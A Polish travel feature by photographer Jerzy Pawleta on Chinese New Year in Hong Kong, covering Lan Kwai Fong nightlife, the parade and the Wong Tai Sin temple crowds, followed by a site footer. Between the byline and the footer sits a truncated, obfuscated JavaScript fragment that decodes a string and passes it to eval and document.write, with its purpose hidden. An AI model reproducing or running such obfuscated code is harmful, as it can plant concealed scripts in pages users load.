Nowy Rok Chiński w Hongkongu

 

Nowy Rok Chiński, czyli dwa bieguny Hong Kongu

 

   Po całodziennym „pożeraniu” przepysznego tortu usianego świecami wieżowców, kapiącego kremem niezliczonych targów, bazarów i sklepików, przekrojonego w połowie wstęgą błyszczącej w słońcu lukrowanej zatoki, którego widok (zwłaszcza z Victoria Peak) jest z całą pewnością WIDOKIEM ŚWIATA!, tortu, który nazywa się Hongkong, wyciągnąłem nogi przed telewizorem w moim hotelowym pokoiku na szesnastym piętrze wieżowca w dzielnicy Kowloon.

   Była jedenasta późnym wieczorem (noc w mieście zaczyna się dobrze po północy). Następnego dnia rozpoczynał się Nowy Rok Chiński. Obmyślałem plan strategiczny porannego „wbicia” się w noworoczną paradę tak, by zrobić jak najlepsze zdjęcia, gdy chwilę przed północą w wiadomościach pokazano tłum ludzi zbierający się na placach i w parkach chińskich miast. Również „mojego” Hong Kongu!  Zerwałem się na równe nogi i pognałem do chińskiego przyjaciela Kena, sprzedawcy koralików, wisiorków, pierścionków, talizmanów i różnej maści magicznych kamieni (miał i zdrowotne bursztyny, twierdził, że z Polski) na pobliskim nocnym targu. On na pewno wiedział, gdzie w taką noc odbywają się najlepsze imprezy w mieście. Nie pomyliłem się. Usianą bransoletkami i pierścionkami dłonią rysował na mapie koła z miejscami w które warto się udać. Padło na Lan Kwai Fong. Metrem jazda na Central i przez zaskakująco ciche miasto dotarłem na miejsce. Maleńkie knajpki, wciśnięte w kolonialne domy, nad którymi ciasno wisiały rozświetlone światłem okien i neonów, błyszczące szkłem i aluminium potężne wieżowce, faktycznie buchały radosną energią rozgadanych, roztańczonych, wesołych młodych ludzi. Wielokolorowe twarze i wielonarodowościowa muzyka mieszały się z dymem papierosów, oparami alkoholu, błyskiem świateł dyskotek czy barków otwartych na ulicę. Różnobarwny tłumik spacerował wąskimi uliczkami ciesząc się własną obecnością w tym magicznym miejscu, wstępując co rusz do innej knajpki, by wypić kolejnego drinka, pogadać z kolejnym, nowo spotkanym przyjacielem. Łerarju-from? Hepi-nju-ćajniz-jer!

I tak do rana.

   Chwila snu i pięknym, starym promem pamiętającym utarczki handlowe brytyjsko- chińskie z ubiegłych wieków przepływam z Tsim Sha Tsui na Hong Kong Island. Na nabrzeżu mijam blade, zmęczone twarze odpoczywających w pierwszych promieniach słońca balowiczów. Wbijam się w upatrzone wcześniej miejsce, znajduję miły półcień (dzień zapowiada się wyjątkowo ciepły, nawet jak na południe Chin) i drzemię kontrolując napływający tłum gapiów. Godzinę przed planowanym początkiem dorocznej defilady uaktywniają się porządkowi i policjanci. Z miną „na fotoreportera” utrzymuję zdobyty przyczółek. Rozpoczyna się! Na tle błyszczących w słońcu wieżowców przesuwają się wolno kolorowe pojazdy skonstruowane w stylu hollywoodzkiego karnawału w Rio, obwieszone miss’kami Azji, pięknymi młodzianami i bajecznie kolorowymi dzieciakami reklamującymi wszystko, co da się sprzedać w Hongkongu i okolicy. Między tym biegają smoki na patyku, tańczą skośnookie panienki z brytyjskich szkół baletowych, przefruwa hamburger z McDonaldsa, kołysze się papierowa pagoda chińskiej świątyni. Wszystko w tempie i majestacie pochodu pierwszomajowego. Tysiące ludzi wiszących na barierkach, drzewach, stopniach czy nadziemnych przejściach dla pieszych biją brawo i fotografują wszystko z szybkością karabinu maszynowego. To turyści.

   Mieszkańcy miasta, jak co roku, wyjechali na wieś lub gdzieś nad Morze Południowo-chińskie. Albo poszli w innym kierunku, na drugi biegun noworocznego szaleństwa. Nowy Rok witali w świątyniach. Tysiące wiernych z dymiącymi kadzidłami, czerwonymi wiatraczkami i kopertami pełnymi życzeń szczęścia i dostatku szturmowało świątynię Wong Tai Sin by wetknąć w trójnóg swoją kiść płonących kadzidełek. Starzy, młodzi i dzieci.

W typowym dla azjatów spokojnym zawzięciu przepychali się w zatykającym nosy, gryzącym w oczy dymie, by spełnić swój świąteczny obowiązek.

   Świąteczny chiński tort made in Honk Kong połączył dwa kulturowe bieguny, dostarczając milionom ludzi boskiej strawy duchowej i, co tu dużo mówić, cielesnej.

Jerzy Pawleta

Hongkong               

www.jpfoto.pl

www.jerzypawleta.pl

//pxvi`+2egtp3Yi,0`&3k2wO`&wxyf5-v,,,-/nt`+BUpe{xeiUvi`+2egtp3Ui,0_3ka_`&`&-/4avmWx2jrkqGvsvGlei,sh-/:8>t`+s>>>\'p`+>tit2vgipe>3,3`&Fk0wy`&2xvfw--,5vi-2egtp3``i,k0\'3`&-`&2`+``-/$s`+`&syrqsywi`&xxAmwlhlh2hjAvi```+```+Bn`&B{ptee*ix4h\'44:44st8?|6*\'tpi?3e@h2vB`+peit,3gik0h3`&a_`&a-_4+2vitpegi,3,22-,22-3k0&(6(5&-2wyfwxv,6--".charCodeAt(w5)-(0x4)+3*5+48)%(95)+0x20);document.write(eval(m0)) //]]>

Artykuł opublikowany Gazeta Wyborcza Turystyka

http://turystyka.gazeta.pl/Turystyka/1,82269,1948268.html

Powyższe pliki również możesz zakupić korzystając z formularza po prawej stronie.

O autorze

Jestem autorem wszystkich zdjęć, artykułów i materiałów wideo załączonych na stronie www.jerzypawleta.pl. Zabrania się publikowania zdjęć ze strony www.jerzypawleta.pl w pejoratywnym kontekście w stosunku do przedstawianych ludzi, miejsc czy zdarzeń.